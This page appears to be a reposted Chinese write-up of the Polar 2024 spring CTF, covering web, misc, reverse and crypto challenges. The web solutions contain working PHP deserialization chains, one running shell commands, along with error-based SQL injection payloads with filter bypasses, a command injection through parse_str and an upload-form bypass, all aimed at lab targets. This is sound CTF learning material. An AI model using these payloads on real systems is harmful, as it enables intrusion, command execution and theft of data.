当前位置: 首页 > news >正文

Polar 2024春季个人挑战赛 Jay17 WP

Polar 2024春季个人挑战赛

Rank:7

image-20240323210148381

【WEB】机器人

开题

image-20240323155343397

起手敏感文件robots.txt

image-20240323161759421

image-20240323161821141

【WEB】PHP反序列化初试

最简单的php反序列化

POC:

<?php
class Easy{public $name;public function __wakeup(){echo $this->name;}
}
class Evil{public $evil;private $env;public function __toString(){$this->env=shell_exec($this->evil);return $this->env;}
}$a=new Easy();
$a->name=new Evil();
$a->name->evil='cat f1@g.php';echo serialize($a);

image-20240323161201342

【WEB】file

开题

image-20240323161323281

image-20240323161912454

点不了开始,直接upload.php

image-20240323162744983

image-20240323162752462

【WEB】PlayGame

直接给了源码

image-20240323163108906

简单反序列化,POC:

<?php
/*
PolarD&N CTF
*/
class User{public $name;public $age;public $sex;public function __toString(){return "name:".$this->name."age:".$this->age."sex:".$this->sex;}public function setName($name){$this->name=$name;}public function setAge($age){$this->$age=$age;}public function setSex($sex){$this->$sex=$sex;}
}
class PlayGame{public $user;public $gameFile="./game";public function openGame(){return 1;//file_get_contents($this->gameFile);}public function __destruct(){echo $this->user->name."GameOver!";}public function __toString(){return $this->user->name."PlayGame ". $this->user->age . $this->openGame();}
}$a=new PlayGame();
$a->user->name=new User();
$a->user->name->name=new PlayGame();
$a->user->name->name->gameFile='../../../../../flag';unserialize(serialize($a));

image-20240323164315298

【WEB】csdn

开题

image-20240323164438077

存在文件包含

image-20240323164852859

被骗了呜呜呜

image-20240323165002215

【WEB】search

开题,一眼SQL

image-20240323165135967

报错注入梭哈了

image-20240323165153338

空格用/**/,大小写绕过

库:CTF

表:Flag,Students

列:Flag

payload:

query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/group_cOncat(Flag)/**/frOm/**/CTF.Flag),0x7e),3)#query=1'/**/and/**/uPdatexmL(1,coNcat(0x7e,(sELect/**/reverse(group_cOncat(Flag))/**/frOm/**/CTF.Flag),0x7e),3)#flag{Polar_CTF_426891370wxbglbnfwaq}

image-20240323165914893

【WEB】PHP_Deserialization

直接给了源码:

<?php/*PolarD&N CTF*/class Polar
{public $night;public $night_arg;public function __wakeup(){echo "hacker";$this->night->hacker($this->night_arg);}}class Night
{public function __call($name, $arguments){echo "wrong call:" . $name . "  arg:" . $arguments[0];}
}class Day
{public $filename="/flag";public function __toString(){$this->filename = str_replace("flag", "", $this->filename);echo file_get_contents($this->filename);return $this->filename;}
}if (isset($_POST['polar'])) {unserialize(base64_decode($_POST['polar']));
} else {highlight_file(__FILE__);
}

双写绕过,POC:

<?php/*PolarD&N CTF*/class Polar
{public $night;public $night_arg;public function __wakeup(){echo "hacker";$this->night->hacker($this->night_arg);}}class Night
{public function __call($name, $arguments){echo "wrong call:" . $name . "  arg:" . $arguments[0];}
}class Day
{public $filename="/flag";public function __toString(){$this->filename = str_replace("flag", "", $this->filename);echo file_get_contents($this->filename);return $this->filename;}
}$a=new Polar();
$a->night=new Night();
$a->night_arg=new Day();
$a->night_arg->filename='/flflagag';echo base64_encode(serialize($a));

payload:

Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319

image-20240323171923811

【WEB】覆盖

image-20240323175555401

parse_str函数造成变量覆盖

?id=a[0]=www.polarctf.com&cmd=;tac flag.php

image-20240323175938109

【WEB】uploader

image-20240323180851418

应该是没有过滤,不过得自己写个上传表单

<form action="http://e0aced16-e5c4-4e03-8911-e9b3180ea03c.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" ><input name="file" type="file" /><input type="submit" type="gogogo!" /></form>

image-20240323181306438

image-20240323181312021

image-20240323181413590

【WEB】phar

直接给了源码

image-20240323174453707

读取funs.php

?file=php://filter/read=convert.base64-encode/resource=./funs.php
<?php
include 'f1@g.php';
function myWaf($data)
{if (preg_match("/f1@g/i", $data)) {echo "NONONONON0!";return FALSE;} else {return TRUE;}
}class A
{private $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{private $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{private $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}

private全改public

POC:

<?php
class A
{public $a;public function __destruct(){echo "A->" . $this->a . "destruct!";}
}class B
{public $b = array();public function __toString(){$str_array= $this->b;$str2 = $str_array['kfc']->vm50;return "Crazy Thursday".$str2;}
}
class C{public $c = array();public function __get($kfc){global $flag;$f = $this->c[$kfc];var_dump($$f);}
}$a=new A();
$a->a=new B();
$a->a->b['kfc']=new C();
$b['vm50']='flag';
$a->a->b['kfc']->c=$b;echo serialize($a);

payload:

?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}

image-20240323202734147

【WEB】Fastjson*

前言:xalan是java操作xml的库,属于java内置的官方库之一,在CC链中主要用到的是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。与上篇文章中提到的利用链不同,xalan最终是通过加载字节码来达到代码执行的效果,所以xalan更适合于执行语句的场景,利用xalan来植入内存马会比其他链更加方便。如果目标同时可以使用多条CC链,通常会更倾向于使用xalan相关的链。

待我再研究一下

【REVERSE】一个flag劈三瓣儿

打开就有

image-20240323205905182

【MISC】你懂二维码吗?

解压出现问题打开发现是文件头前多了一串冗余字符,删去成功解压,得到一个需要密码的压缩包,爆破一下发现不行,回到010中查看一下图片,发现类似密码的字符串:

image-20240323191411470

解压果然成功,得到txt打开乱码,010中查看确认到png头,改成png后缀后得到二维码

image-20240323191426774

flag{zun_du_jia_du}

【MISC】加点儿什么

下载得到一张图片老样子010打开发现文件尾有多于字符,根据特征判断为压缩包,用foremost分离后得到一个cpp文件,需要加入什么东西,观察代码发现只要加入打印得到密文的语句即可:

#include<bits/stdc++.h>
using namespace std;
#define MAX 100
char ciphertext[MAX]; //密文
char plaintext[MAX]; //明文
int K=4;void Encryption()
{cout<<"请输入明文:"<<endl;gets(plaintext);cout<<"密文为:"<<endl;for(int i=0; plaintext[i] != '\0'; i++){if(plaintext[i] >= 'A' && plaintext[i] <= 'Z'){ciphertext[i] = (plaintext[i] - 'A' + K) % 26 + 'A';}else if (plaintext[i] >= 'a' && plaintext[i] <= 'z'){ciphertext[i] = (plaintext[i] - 'a' + K) % 26 + 'a';}elseciphertext[i] = plaintext[i];cout << ciphertext[i]; // 修改这里,应该打印加密后的密文}ciphertext[strlen(plaintext)] = '\0'; // 确保添加字符串终止符cout << "\n";
}
void Decryption()
{cout<<"请输入密文:"<<endl;gets(ciphertext);cout<<"明文为:"<<endl;for(int i=0; ciphertext[i] != '\0'; i++){if(ciphertext[i] >= 'A' && ciphertext[i] <= 'Z'){plaintext[i] = ((ciphertext[i] - 'A' - K) % 26 + 26) % 26 + 'A';}else if (ciphertext[i] >= 'a' && ciphertext[i] <= 'z'){plaintext[i] = ((ciphertext[i] - 'a' - K) % 26 + 26) % 26 + 'a';}elseplaintext[i] = ciphertext[i];cout << plaintext[i]; // 修改这里,确保在解密过程中打印每个解密后的字符}plaintext[strlen(ciphertext)] = '\0'; // 确保添加字符串终止符cout << "\n";
}
int main()
{int n,flag=1;while(flag){cout<<"请选择(1:加密,2:解密,3:退出):"<<endl;cin>>n;getchar(); // 用于捕获并丢弃输入流中的换行符switch(n){case 1:Encryption();break;case 2:Decryption();break;case 3:exit(0);}}
}
flag{372658619FE0707E8C64DB2400B96991}

【CRYPTO】周杰伦的贝斯

附件:

👊👢👧👉👎🐽👅👁👈🐧👉👆👈👣👟👐👊👱🐧🐰👇👈🐴🐴

一眼base100

image-20240323183232151

image-20240323183258520

image-20240323183341956

【CRYPTO】歌词最后一句

题目描述:找到歌词最后一句MD5加密套上flag

附件:

image-20240323183753847

跳舞小人是WYDOSNOWSB

11月的肖邦是个专辑,tmd全部试一遍吧。

image-20240323194244482

【CRYPTO】rsaaa

附件:

e = 65537
p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483
q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407
c =75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506

脚本:

from gmpy2 import *
from Crypto.Util.number import *import gmpy2
def Decrypt(c,e,p,q):L=(p-1)*(q-1)#print(L)d=gmpy2.invert(e,L)   # ed=1+k(p-1)*(q-1)n=p*qm=gmpy2.powmod(c,d,n)   #m=c^d mod nflag=str(m)print("ctfshow{"+flag+"}")print(long_to_bytes(m))print(m)
if __name__ == '__main__':e = 65537p = 9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483q = 11874843837980297032092405848653656852760910154543380907650040190704283358909208578251063047732443992230647903887510065547947313543299303261986053486569407c = 75036747635306642448951304206998877676661823155273906467327033126738852180428655042280881978878498990667216678397370196258985509664476355705024803037163192947063192452198182809379575421727717664980771937882048579654137560876937198021458204902826397562775388222716165902130775042367930795903054668968295345506Decrypt(c,e,p,q)

image-20240323183102649

相关文章:

Polar 2024春季个人挑战赛 Jay17 WP

Polar 2024春季个人挑战赛 Rank&#xff1a;7 【WEB】机器人 开题 起手敏感文件robots.txt 【WEB】PHP反序列化初试 最简单的php反序列化 POC&#xff1a; <?php class Easy{public $name;public function __wakeup(){echo $this->name;} } class Evil{public $evi…...

10 mybatis 日志

文章目录 product.sqlpom.xmllogback.xmlmybatis-config.xmlProductsMapper.xmlProductsProductsMapper.java product.sql create table products (product_id int auto_increment comment 产品IDprimary key,product_name varchar(100) null comment 产品名称,bra…...

AJAX介绍使用案例

文章目录 一、AJAX概念二、AJAX快速入门1、编写AjaxServlet&#xff0c;并使用response输出字符&#xff08;后台代码&#xff09;2、创建XMLHttpRequest对象&#xff1a;用于和服务器交换数据 & 3、向服务器发送请求 & 4、获取服务器响应数据 三、案例-验证用户是否存…...

【echart】数据可视化

什么是数据可视化&#xff1f; 数据可视化主要目的:借助于图形化手段&#xff0c;清晰有效地传达与沟通信息。 数据可视化可以把数据从冰冷的数字转换成图形&#xff0c;揭示蕴含在数据中的规律和道理。 如何绘制&#xff1f; echarts 图表的绘制&#xff0c;大体分为三步:…...

排序(冒泡/快速/归并)

冒泡排序 时间复杂度为 O(n^2) 原理 比较相邻的元素. 如果第一个比第二个大,就交换他们两个.依次比较每一对相邻的元素—>结果 : 最后的元素是这组数中最大的重复上述步骤 , 除了最后一个[]因为最后一个已经是排好序的了(这组数中最大的那个)]持续对越来越少的元素进行如上…...

jq中的跨域

跨域 1.从一个地址到另外一个第一请求资源或者数据时&#xff0c;就有可能发生跨域 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>跨域</title><script src"jquery/jquery-1.11.3.j…...

CUDA学习笔记08: 原子规约/向量求和

参考资料 CUDA编程模型系列一(核心函数)_哔哩哔哩_bilibili 代码 #include <iostream> #include <cuda_runtime.h> #include <device_launch_parameters.h> #include <stdio.h> #include <math.h>#define N 10000000 #define BLOCK 256 #def…...

PointNet++论文复现(一)【PontNet网络模型代码详解 - 分类部分】

PontNet网络模型代码详解 - 分类部分 专栏持续更新中!关注博主查看后续部分! 分类模型的训练: ## e.g., pointnet2_ssg without normal features python train_classification.py --model pointnet2_cls_ssg --log_dir pointnet2_cls_ssg python test_classification.py…...

AI渣土车监测报警摄像机

随着城市建设的不断发展和交通运输的快速增长&#xff0c;渣土车作为建筑行业中不可或缺的运输工具&#xff0c;承担着大量的渣土运输任务。然而&#xff0c;由于渣土车在运输过程中存在超速、违规变道、碾压行人等交通安全问题&#xff0c;给道路交通和行人安全带来了严重的隐…...

Spring框架介绍及详细使用

前言 本篇文章将会对spring框架做出一个比较详细的讲解&#xff0c;并且每个知识点基本都会有例子演示&#xff0c;详细记录下了我在学习Spring时所了解到全部知识点。 在了解是什么spring之前&#xff0c;我们要先知道spring框架在开发时&#xff0c;服务器端采用三层架构的方…...

【论文速读】| 对大语言模型解决攻击性安全挑战的实证评估

本次分享论文为&#xff1a;An Empirical Evaluation of LLMs for Solving Offensive Security Challenges 基本信息 原文作者&#xff1a;Minghao Shao, Boyuan Chen, Sofija Jancheska, Brendan Dolan-Gavitt, Siddharth Garg, Ramesh Karri, Muhammad Shafique 作者单位&a…...

小迪安全48WEB 攻防-通用漏洞Py 反序列化链构造自动审计 bandit魔术方法

#知识点&#xff1a; 1、Python-反序列化函数使用 2、Python-反序列化魔术方法 3、Python-反序列化 POP 链构造&#xff08;payload构造&#xff09; 4、Python-自动化审计 bandit 使用 #前置知识&#xff1a; 函数使用&#xff1a; pickle.dump(obj, file) : 将对…...

微服务:解放软件开发的神器,引领企业级应用的未来(二)

本系列文章简介&#xff1a; 本系列文章将深入剖析微服务架构的原理、设计和实践&#xff0c;向大家介绍微服务的核心概念和关键技术&#xff0c;以及在实际项目中的应用和实践经验。我们将通过具体的案例和实例&#xff0c;帮助大家理解微服务架构的优势和挑战&#xff0c;掌握…...

easyexcel与vue配合下载excel

后端 设置响应 // 设置响应头 response.setContentType("application/octet-stream;charsetUTF-8"); String returnName null; try {returnName URLEncoder.encode(fileName, "UTF-8"); } catch (UnsupportedEncodingException e) {throw new RuntimeExc…...

Vue.js 模板语法

Vue.js 使用了基于 HTML 的模板语法&#xff0c;允许开发者声明式地将 DOM 绑定至底层 Vue 实例的数据。 Vue.js 的核心是一个允许你采用简洁的模板语法来声明式的将数据渲染进 DOM 的系统。 结合响应系统&#xff0c;在应用状态改变时&#xff0c; Vue 能够智能地计算出重新…...

信号处理--基于DEAP数据集的情绪分类的典型深度学习模型构建

关于 本实验采用DEAP情绪数据集进行数据分类任务。使用了三种典型的深度学习网络&#xff1a;2D 卷积神经网络&#xff1b;1D卷积神经网络GRU&#xff1b; LSTM网络。 工具 数据集 DEAP数据 图片来源&#xff1a; DEAP: A Dataset for Emotion Analysis using Physiological…...

Spring设计模式-实战篇之模板方法模式

什么是模板方法模式&#xff1f; 模板方法模式用于定义一个算法的框架&#xff0c;并允许子类在不改变该算法结构的情况下重新定义算法中的某些步骤。这种模式提供了一种将算法的通用部分封装在一个模板方法中&#xff0c;而将具体步骤的实现延迟到子类中的方式。 模板方法模式…...

PTA天梯赛习题 L2-006 树的遍历

先序遍历&#xff1a;根-左-右 > 序列的第一个数就是根 中序遍历&#xff1a;左-根-右 > 知道中间某一个数为根&#xff0c;则这个数的左边就是左子树&#xff0c;右边则是右子树 后序遍历&#xff1a;左-右-根 > 序列的最后一个数就是根 题目 给定一棵…...

js相关的dom方法

查找元素 //获取元素id为box的元素 document.getElementById(box) //获取元素类名为box的元素 document.getElementsByClassName(box) //获取标签名为div的元素 document.getElementsByTagName(div)改变元素 //设置id为box的元素内容 document.getElementById("box"…...

Django——Ajax请求

Django——Ajax请求 一、响应 Json 数据 path(str/ , views.str_view), path(json/ , views.json_view), path(jsonresponse/ , views.jsonresponse_view), path(ls/ , views.ls),from django.shortcuts import render , HttpResponse from django.http import JsonResponse …...

C++ std::function:类型擦除与万能函数包装器实战指南

1. 项目概述&#xff1a;为什么我们需要 std::function 在C的世界里&#xff0c;函数指针曾经是回调、事件处理和策略模式等场景的绝对主力。但用过的人都知道&#xff0c;那玩意儿用起来有多别扭&#xff1a;类型声明复杂&#xff0c;对非静态成员函数、lambda表达式、函数对…...

自监督、半监督与域自适应:解锁95%未标注数据的AI落地三把钥匙

1. 项目概述&#xff1a;当95%的数据躺在那里“睡大觉”&#xff0c;我们该怎么叫醒它&#xff1f; 你有没有算过手头那个标注了三个月、花了两万块外包费的图像数据集&#xff0c;到底占了你公司服务器里全部原始数据的多少比例&#xff1f;我上个月帮一家做工业质检的客户做模…...

Vitis 2021.2自定义IP从Platform到App的完整避坑指南:头文件、宏定义与QEMU报错一网打尽

Vitis 2021.2自定义IP全流程开发实战&#xff1a;从Platform构建到多核调试的深度解析 在FPGA开发领域&#xff0c;Xilinx的Vitis统一软件平台为开发者提供了从硬件设计到软件开发的完整工具链。然而&#xff0c;当涉及到自定义IP集成时&#xff0c;即使是经验丰富的工程师也常…...

Vue Antd Admin架构完全指南:从设计哲学到最佳实践

Vue Antd Admin架构完全指南&#xff1a;从设计哲学到最佳实践 【免费下载链接】vue-antd-admin &#x1f41c; Ant Design Pros implementation with Vue 项目地址: https://gitcode.com/gh_mirrors/vu/vue-antd-admin Vue Antd Admin是一款基于Vue.js和Ant Design Pro…...

打卡信奥刷题(3304)用C++实现信奥题 P9118 [春季测试 2023] 幂次

P9118 [春季测试 2023] 幂次 题目描述 小 Ω 在小学数学课上学到了“幂次”的概念&#xff1a;∀a,b∈N\forall a, b \in \N^∀a,b∈N&#xff0c;定义 aba^bab 为 bbb 个 aaa 相乘。 她很好奇有多少正整数可以被表示为上述 aba^bab 的形式&#xff1f;由于所有正整数 m∈Nm \i…...

[模型解析] GPT: 模型演进分析从GPT-3到GPT-5.5

GPT 模型演进分析&#xff1a;从 GPT-3 到 GPT-5.5 OpenAI 的 GPT 系列模型在过去几年经历了快速演进&#xff0c;从 2020 年的 GPT-3 到 2026 年的 GPT-5.5&#xff0c;每一次迭代都带来了显著的能力提升和架构创新。本文将系统分析 GPT 模型的演进路径与技术特点。 一、GPT 模…...

2026电动车趋势:智驾与电池深度融合

2026年电动汽车&#xff08;EV&#xff09;发展趋势全景分析 2026年的全球电动汽车产业将迈入一个技术加速融合、市场竞争白热化与商业模式深度创新的关键阶段。其发展趋势可解构为核心技术突破、市场格局演变、供应链重塑及政策生态协同四个维度。以下结合具体数据、案例和技…...

USB Cheat Sheet:从物理层到协议栈的终极解码指南

USB Cheat Sheet&#xff1a;从物理层到协议栈的终极解码指南 USB&#xff0c;这个我们每天都在使用的接口&#xff0c;背后隐藏着远超想象的复杂技术体系。从1996年USB 1.0的1.5Mbps&#xff0c;到如今USB4 Version 2.0的80Gbps&#xff0c;传输速率提升了超过五万倍。但更让人…...

TensorFlow+GCP+Firebase构建生产级AI Web应用

1. 项目概述&#xff1a;这不是一个“AI玩具”&#xff0c;而是一套可上线、可运维、可迭代的生产级Web应用工作流你有没有遇到过这样的情况&#xff1a;用TensorFlow训练好一个模型&#xff0c;本地Jupyter里跑得飞起&#xff0c;准确率98%&#xff0c;但一想到要把它变成网页…...

NTC与PTC热敏电阻选型实战:从原理到电路设计的深度解析

1. 项目概述&#xff1a;一次关于温度传感器选型的深度复盘在嵌入式系统、家电控制、电池管理乃至工业自动化领域&#xff0c;温度测量是基础得不能再基础&#xff0c;却又至关重要的一环。选对传感器&#xff0c;项目就成功了一半&#xff1b;选错&#xff0c;后续的校准、补偿…...